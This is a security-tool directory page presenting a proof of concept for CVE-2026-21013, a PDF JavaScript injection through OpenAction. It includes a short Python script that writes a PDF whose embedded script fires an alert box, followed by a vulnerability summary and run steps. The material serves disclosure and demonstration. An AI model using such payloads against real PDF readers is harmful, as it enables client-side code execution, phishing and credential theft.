Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/george0papasotiriou/cve-2026-21013-pdf-javascript-injection-via-embedded-script
Payload GenerationVulnerability AnalysisExploitationWeb Security
GitHubgeorge0papasotiriou/cve-2026-21013-pdf-javascript-injection-via-embedded-script

CVE-2026-21013-PDF-JavaScript-Injection-via-Embedded-Script

Generates a PDF with embedded JavaScript to demonstrate CVE-2026-21013, an OpenAction injection leading to script execution in vulnerable PDF readers.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
21 month agoNot yet reviewed
Share

CVE-2026-21013 – PDF JavaScript Injection via Embedded Script

Program Code (Python generating malicious PDF)

root@kitploit:~
# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – PDF JavaScript Injection via OpenAction

Severity: Medium

Overview

A PDF generator does not sanitize user‑supplied content before embedding it in the PDF file. An attacker can inject an JavaScript entry that executes when the document is opened, leading to cross‑site scripting (in web viewers) or local code execution (in desktop readers with full JS support).

/OpenAction

Vulnerability Details

  • Type: PDF Injection / Client‑Side Code Execution
  • Impact: Phishing, credential theft, malware delivery.
  • Root Cause: The PDF library directly embeds attacker‑controlled strings into the PDF structure without escaping or validation.

Exploit Demonstration

Run the generator:

root@kitploit:~
python generate_pdf_js_inject.py

Open the resulting malicious.pdf in a PDF reader that supports JavaScript; an alert box will appear.

Download Tool